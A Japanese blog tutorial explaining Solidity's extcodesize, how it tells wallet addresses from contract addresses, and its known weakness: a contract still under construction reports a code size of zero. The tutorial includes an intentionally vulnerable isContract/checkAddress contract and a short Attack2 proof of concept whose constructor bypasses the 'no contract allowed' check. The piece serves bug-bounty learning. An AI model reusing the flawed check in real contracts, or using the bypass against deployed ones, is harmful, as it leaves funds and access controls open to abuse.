Hacking Smart Contract Solidity ブロックチェーン

[Solidity-Bug Bounty] extcodesizeの脆弱性を1からわかりやすく解説

かるでね

こんにちは!CryptoGamesというブロックチェーンゲーム企業でエンジニアをしているかるでねです!
スマートコントラクトを書いたり、フロントエンド・バックエンド・インフラと幅広く触れています。

このブログ以外でも情報発信しているので、よければ他の記事も見ていってください。

今回は「extcodesize」についてとその脆弱性について解説していきます!

extcodesize」自体そもそも初めて聞いたという人も多いと思います。

あまり使われているのを見かけないものですが、Solidityの基礎を学習し終えた人は知っておいて損はないものです。

Solidityスキルを1段階あげたい方やバグ・バウンティに参加したいバグハンターを目指している方は必須の知識となるので、この記事で学んでいってください。

バグ・バウンティが何かわからない人は以下の記事を読んでください。

extcodesizeとは

Solidityでは、外部(EOA)アカウントアドレスかコントラクトアカウントアドレスかチェックするために、extcodesizeを使用して確認する方法があります。

EOAアカウント

EOAアカウントとは、ユーザーが所有するアカウントでブロックチェーンの外にあります。

秘密鍵によって制御されていて、「0x」から始まるアドレスを持つメタマスクなどのウォレットのアドレスと認識するとイメージしやすいです。

コントラクトアカウント

もう1つのコントラクトアカウントは、スマートコントラクトのコードを所有しているものです。

Solidityなどでコードを書いて作成されたコントラクトにも、それぞれのコントラクトごとにアドレスが存在します。

コントラクトアカウントは秘密鍵を所有していないため、スマートコントラクトによって制御されます。

extcodesize

extcodesizeは、あるアドレスのコードのサイズを返す関数です。

そのため、コントラクトアカウントのアドレスであれば1以上の値を返し、EOAアカウントのアドレスであればコードがないため0を返します。

そのため、extcodesizeを使用することで、あるアドレスがEOAアカウントのアドレスなのか、コントラクトアカウントのアドレスなのかをチェックすることができます。

チェックすることでどんなメリットがあるか疑問に思う人もいると思います。

例えば、EOAアカウントにのみ処理の実行を許可し、コントラクトアカウントには処理を実行させたくない場合に使用することができます。

他のコントラクトとやり取りをさせたくない場合に役立ちます。

extcodesizeの実装

extcodesizeの概要について確認できたので、実際に実装して動きを確認していきましょう!

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.13;

contract Codesize {
    // コードのサイズチェック結果が格納される。
    uint public sizeCheck;

    /// @notice コードのサイズチェックを行う関数。
    function checkCodeSize(address _address) public {
        uint size;
        assembly {
            size := extcodesize(_address)
        }
        sizeCheck = size;
    }
}

contract ContractAccount {

}

上記の12~14行目でextcodesizeを使用してコードサイズをチェックしています。

Assembly

assemblyという見慣れないものが使用されていますね。

これは、コンピュータのCPUが直接解釈・実行できる機械語と1対1で対応したプログラミング言語であるアセンブリ言語を、Solidity内で実装している部分になります(「インライン・アセンブリ」と言います)。

アセンブリ言語を使用することで、以下のメリットがあります。

メリット

  • コンパイラの制約を無視した実装ができる。
  • ガス代が節約できる。
  • アセンブリ言語でしかできない操作を行える。

今回は3つ目の「アセンブリ言語でしかできない操作を行える」ということの実現のために使用しています。

アセンブリについて詳しくは以下を参考にしてください。

実行

では実行してみましょう。

2つのEOAアカウントのアドレスをcheckCodeSize関数に渡しても、sizeCheck変数の値は0のままです。

しかし、ContractAccountコントラクトのアドレスをcheckCodeSize関数に渡すと63という値がsizeCheck変数に格納されました。

前章で述べたように、コントラクトアカウントのアドレスのときは1以上の値が返ってきて、EOAアカウントのアドレスのときは0が返ってきているのが確認できました。

extcodesizeの脆弱性

実は、便利そうで危ない面もなさそうなextcodesizeにも脆弱性があります。

脆弱性の説明

それはコントラクト作成時であれば、コントラクト内のコードがまだ作成中のためextcodesizeを実行しても0を返してしまうという点です。

そのため、あたかもEOAアカウントアドレスのような判定結果になってしまうのです。

コード解説

Codesize

contract Codesize {
    bool public isEOA;

    /// @notice コードのサイズチェックを行う関数。
    function isContract(address _accountAddress) public view returns (bool) {
        uint size;
        assembly {
            size := extcodesize(_accountAddress)
        }
        return size > 0;
    }
    
    /// @notice isContract関数を実行して、EOAアカウントのアドレスかチェック。
    ///         EOAアカウントのアドレスであれば、isEOA変数にtrueを格納。
    function checkAddress() public {     
        require(!isContract(msg.sender), "no contract allowed");     
        isEOA = true; 
    }
}
isContract

引数で渡されたアドレスがEOAアカウントのアドレスかコントラクトアカウントのアドレスかをチェックする関数。

checkAddress

isContract関数を呼び出し、EOAアカウントのアドレスであればisEOA変数にtrueを格納し、コントラクトアカウントのアドレスであればエラーを返す関数。

Attack1

contract Attack1 {
    /// @notice CodesizeコントラクトのcheckAddress関数を実行する関数。
    ///         コントラクトアカウントのため実行に失敗する。
    function hack(address _targetAddress) external {
        Codesize(_targetAddress).checkAddress();
    }
}
hack

CodesizeコントラクトのcheckAddress関数を実行する関数。

コントラクトアカウントのアドレスのためエラーが出力される。

Attack2

contract Attack2 {
    bool public isContract;
    address public addr;

    // デプロイ時に呼ばれる。
    //
    constructor(address _targetAddress) {  
        isContract = Codesize(_targetAddress).isContract(address(this)); 
        addr = address(this); 
        Codesize(_targetAddress).checkAddress(); 
    }
}

コントラクト作成時にCodesizeコントラクトのisContract関数とcheckAddress関数を実行するコントラクト。

コントラクト作成時に実行しているため、コードが生成されていないため、isContract関数ではコードサイズ0と判定される。

実行

では早速実行してみましょう。

Attack1コントラクトが実行に失敗しているのが確認できました。

次に実行したAttack2コントラクトをデプロイすると、Codesizeコントラクト内のisEOA変数にtrueが格納されていて、extcodesize0という値を返していることが確認できます。

Attack2コントラクト内のisContract変数にはfalseが格納されているのは、CodesizeコントラクトのisContract関数はextcodesize1以上の値を返した場合trueを戻り値として返しているためです。

コード

コード全体は以下になります。

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.13;

contract Codesize {
    bool public isEOA;

    /// @notice コードのサイズチェックを行う関数。
    function isContract(address _accountAddress) public view returns (bool) {
        uint size;
        assembly {
            size := extcodesize(_accountAddress)
        }
        return size > 0;
    }
    
    /// @notice isContract関数を実行して、EOAアカウントのアドレスかチェック。
    ///         EOAアカウントのアドレスであれば、isEOA変数にtrueを格納。
    function checkAddress() public {     
        require(!isContract(msg.sender), "no contract allowed");     
        isEOA = true; 
    }
}
 
contract Attack1 {
    /// @notice CodesizeコントラクトのcheckAddress関数を実行する関数。
    ///         コントラクトアカウントのため実行に失敗する。
    function hack(address _targetAddress) external {
        Codesize(_targetAddress).checkAddress();
    }
}
 

contract Attack2 {
    bool public isContract;
    address public addr;

    // デプロイ時に呼ばれる。
    //
    constructor(address _targetAddress) {  
        isContract = Codesize(_targetAddress).isContract(address(this)); 
        addr = address(this); 
        Codesize(_targetAddress).checkAddress(); 
    }
}

最後に

今回は「extcodesize」についてとその脆弱性について解説してきました!

いかがだったでしょうか?

ちょっと難しい内容だったと思うので何回か読み返したり、ぜひ自分でも実行してみて理解を深めてください!

ポイント

  • extcodesizeが何か理解できた!
  • extcodesizeの使い方を理解できた!
  • extcodesizeの脆弱性を理解できた!

上記理解できていたら嬉しいです!

もし何か質問などがあれば以下のTwitterなどから連絡ください!

普段はSolidityやブロックチェーン、Web3についての情報発信をしています。

Twiiterでは気になった記事などを共有しているので、ぜひフォローしてくれると嬉しいです!

参考

-Hacking, Smart Contract, Solidity, ブロックチェーン
-, ,